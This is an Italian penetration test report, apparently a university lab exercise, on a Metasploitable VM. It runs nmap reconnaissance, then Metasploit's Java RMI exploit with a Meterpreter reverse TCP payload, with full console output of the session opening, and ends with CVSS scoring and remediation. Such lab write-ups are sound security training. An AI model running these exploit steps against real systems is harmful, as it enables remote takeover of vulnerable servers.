

REPORT DI VALUTAZIONE DELLA SICUREZZA / PENETRATION TEST

1. Executive Summary (Sintesi Esecutiva)

- **Contesto e Obiettivo:** Il presente report documenta l'attività di penetration test condotta in ambiente di laboratorio controllato, avente l'obiettivo di verificare la postura di sicurezza di un nodo server legacy tramite l'individuazione di vulnerabilità sfruttabili e la validazione del rischio mediante exploit mirato e successiva raccolta di evidenze post-exploitation.
- **Postura di Rischio Globale: Critico.** L'infrastruttura analizzata presenta vulnerabilità di esecuzione di codice remoto (RCE) non autenticato che consentono a un attaccante di ottenere il controllo totale del sistema operativo target.
- **Sintesi per il Management:** L'analisi ha evidenziato la presenza di componenti software obsoleti ed esposizione di servizi di gestione remota (Java RMI) privi di adeguate restrizioni di accesso e validazione degli input. Un utente malintenzionato o una minaccia interna possono compromettere la riservatezza, l'integrità e la disponibilità dell'intero sistema in pochi secondi, sfruttando difetti noti di configurazione e sviluppo. Si raccomanda un intervento immediato di patching e segmentazione della rete.

2. Scope & Rules of Engagement (Ambito e perimetro)

- **Target dell'Esercizio:** Macchina virtuale isolata in laboratorio (Metasploitable) con indirizzo IP 192.168.11.112.
- **Tipologia di Test:** Black-box simulato (conoscenza iniziale limitata al perimetro di rete e agli indirizzi assegnati).
- **Finestra temporale e autorizzazioni:** Test condotto in conformità ai requisiti didattici ed esami universitari, all'interno di un perimetro virtuale autorizzato e isolato.

3. Methodology & Frameworks (Metodologia)

Il penetration test e la strutturazione del report seguono le linee guida riconosciute a livello internazionale:

- **PTES (Penetration Testing Execution Standard):** Per le fasi di Information Gathering, Vulnerability Assessment, Exploitation e Post-Exploitation.
- **NIST SP 800-115:** Guida tecnica per il testing e la valutazione della sicurezza dei sistemi informativi.
- **CVSS v3.1 (Common Vulnerability Scoring System):** Per la quantificazione standardizzata della gravità delle vulnerabilità.

4. Laboratory Configuration & Architecture (Configurazione del Laboratorio)

L'architettura di simulazione si compone di due nodi interconnessi tramite una rete virtuale isolata (Host-Only / Internal Network).

- **Tabella di Configurazione dei Sistemi:**

•	• Ruolo	• Indirizzo IP / OS	• Note di Configurazione
• Kali Linux	• Macchina Attaccante	• 192.168.11.111 / Linux (Kali)	• Configurazione IP statica manuale su interfaccia di rete
• Metasploitable	• Macchina Vittima (Target)	• 192.168.11.112 / Linux (Legacy)	• Configurazione IP statica e servizi vulnerabili attivi

5. Step-by-Step Execution & Technical Findings (Evidenze e Procedura)

- **Fase 1: Information Gathering & Network Verification**
 - **Descrizione tecnica:** Verifica preliminare della connettività tramite protocollo ICMP e scansione mirata delle porte TCP per confermare

l'operatività del target e l'effettiva esposizione del servizio Java RMI sulla porta 1099.

o **Tabella dei Comandi Eseguiti:**

o	o	Comando / Sintassi	o	Obiettivo / Descrizione	o	Output Chiave
o	1	<code>ping -c 4 192.168.11.112</code>	o	Verificare la raggiungibilità del target	o	4 pacchetti ricevuti con successo (0% packet loss)
o	2	<code>nmap -p 1099 -sV 192.168.11.112</code>	o	Identificare versione e stato del servizio sulla porta 1099	o	Porta 1099/tcp aperta, servizio <code>java-rmi</code> GNU Classpath <code>grmiregistry</code>

```
(kali㉿kali)-[~]
$ ping -c 3 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=21.3 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=3.21 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.42 ms

— 192.168.11.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2086ms
rtt min/avg/max/mdev = 1.422/8.645/21.299/8.977 ms

(kali㉿kali)-[~]
$ nmap -p 1099 -sV 192.168.11.112
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 04:53 -0400
Nmap scan report for 192.168.11.112
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:6F:1A:4A (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.44 seconds
```

Screenshot del terminale Kali Linux che mostra l'output completo della scansione Nmap con l'esito positivo della porta 1099 aperta e l'identificazione del servizio Java RMI.

- **Fase 2: Exploitation via Metasploit Framework**

- **Descrizione tecnica:** Configurazione del framework Metasploit caricando il modulo exploit specifico per la gestione vulnerabile dei registri Java RMI, impostazione dei parametri di rete (RHOSTS, LHOST) e selezione del payload di tipo reverse TCP (Meterpreter) per stabilire una sessione di controllo interattiva.

- **Tabella dei Comandi Eseguiti:**

◦	◦	Comando / Sintassi	◦	Obiettivo / Descrizione	◦	Output Chiave
◦ 3	◦	<code>msfconsole</code>	◦	Avviare la console interattiva di Metasploit	◦	Caricamento dell'interfaccia di comando <code>msf6 ></code>
◦ 4	◦	<code>use exploit/multi/misc/java_rmi_server</code>	◦	Selezionare il modulo di exploit per Java RMI	◦	Modulo caricato in memoria
◦ 5	◦	<code>set RHOSTS 192.168.11.112</code>	◦	Configurare l'indirizzo IP della macchina vittima	◦	<code>RHOSTS => 192.168.11.112</code>
◦ 6	◦	<code>set LHOST 192.168.11.111</code>	◦	Configurare l'indirizzo IP dell'attaccante	◦	<code>LHOST => 192.168.11.111</code>
◦ 7	◦	<code>set PAYLOAD java/meterpreter/reverse_tcp</code>	◦	Impostare il payload Java Meterpreter	◦	<code>PAYLOAD => java/meterpreter/reverse_tcp</code>
◦ 8	◦	<code>exploit</code>	◦	Eseguire l'attacco verso il target	◦	Apertura della connessione e generazione del prompt <code>meterpreter ></code>

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

[... ASCII art ...]

= [ metasploit v6.4.116-dev ]
+ -- -- [ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- -- [ 432 post - 49 encoders - 14 nops - 10 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf exploit(multi/misc/java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/sF3Egvt2wH
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:33185) at 2026-07-24 04:56:26 -0400

meterpreter > ipconfig

```

Screenshot del terminale con la console di Metasploit che mostra l'avvenuta apertura della sessione Meterpreter (Command shell session opened / meterpreter >).

- **Fase 3: Post-Exploitation & Data Collection**

- **Descrizione tecnica:** Utilizzo della sessione Meterpreter ottenuta per estrarre informazioni strutturali sulla configurazione di rete locale e sulla tabella di routing della macchina compromessa, confermando il pieno accesso logico al sistema.
- **Tabella dei Comandi Eseguiti:**

○	○	Comando / Sintassi	○	Obiettivo / Descrizione	○	Output Chiave
○ 9	○	ipconfig	○	Estrarre le interfacce e gli indirizzi IP della vittima	○	Conferma interfaccia eth0 con IP 192.168.11.112
○ 10	○	route	○	Visualizzare la tabella di routing IPv4/IPv6 del target	○	Elenco delle rotte attive e assenza di gateway predefinito

```
meterpreter > ipconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fd17:625c:f037:2:a00:27ff:fe6f:1a4a
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe6f:1a4a
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::
fd17:625c:f037:2:a00:27ff:fe6f:1a4a ::           ::
fe80::a00:27ff:fe6f:1a4a  ::           ::

meterpreter > █
```

Screenshot del prompt meterpreter > che visualizza l'output dettagliato dei comandi ipconfig e route con i dettagli di rete acquisiti.

6. Vulnerability Details & CVSS Scoring (Analisi delle Vulnerabilità)

- **Titolo Vulnerabilità & ID CWE:** Insecure Java RMI Server Command Execution / CWE-94 (Improper Control of Generation of Code)
- **CVSS v3.1 Score & Vector:** 9.8 (Critico) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Asset Coinvolti:** Server Metasploitable (192.168.11.112:1099)
- **Proof of Concept (PoC) / Evidenza tecnica:** Sfruttamento del registro Java RMI non protetto tramite il modulo exploit java_rmi_server in Metasploit, con conseguente iniezione ed esecuzione di codice bytecode Java che ha restituito una shell Meterpreter con privilegi elevati.
- **Impatto di Business:** Compromissione totale della macchina target. Un attaccante esterno può leggere dati sensibili, modificare file di sistema, installare malware persistenti o utilizzare il nodo compromesso come punto di partenza per muoversi lateralmente all'interno della rete aziendale.

7. Remediation Roadmap (Piano di Rimedio Prioritizzato)

- **Tabella riassuntiva dei passi correttivi ordinati per priorità di rischio:**

• Vulnerabilità	• Azione Correttiva Consigliata (Specifico, no generico)	• Priorità
• Esecuzione di codice remoto via Java RMI (Porta 1099)	• Disabilitare il servizio RMI registry se non strettamente necessario, oppure configurare un Security Manager rigoroso (es. <code>RMISecurityManager</code>) e limitare l'ascolto all'interfaccia di loopback (<code>127.0.0.1</code>) se l'accesso remoto non è richiesto.	• Critica
• Esposizione di servizi legacy non protetti	• Implementare rigide regole di firewalling di rete (es. <code>iptables</code> / <code>UFW</code>) bloccando l'accesso alla porta 1099 da parte di subnet non autorizzate e consentendo il traffico esclusivamente da host di gestione fidati.	• Alta
• Mancanza di aggiornamenti software (Patch Management)	• Effettuare l'aggiornamento strutturale della Java Runtime Environment (JRE) e delle librerie terze alle versioni correnti supportate dal vendor, eliminando i componenti affetti da vulnerabilità note.	• Alta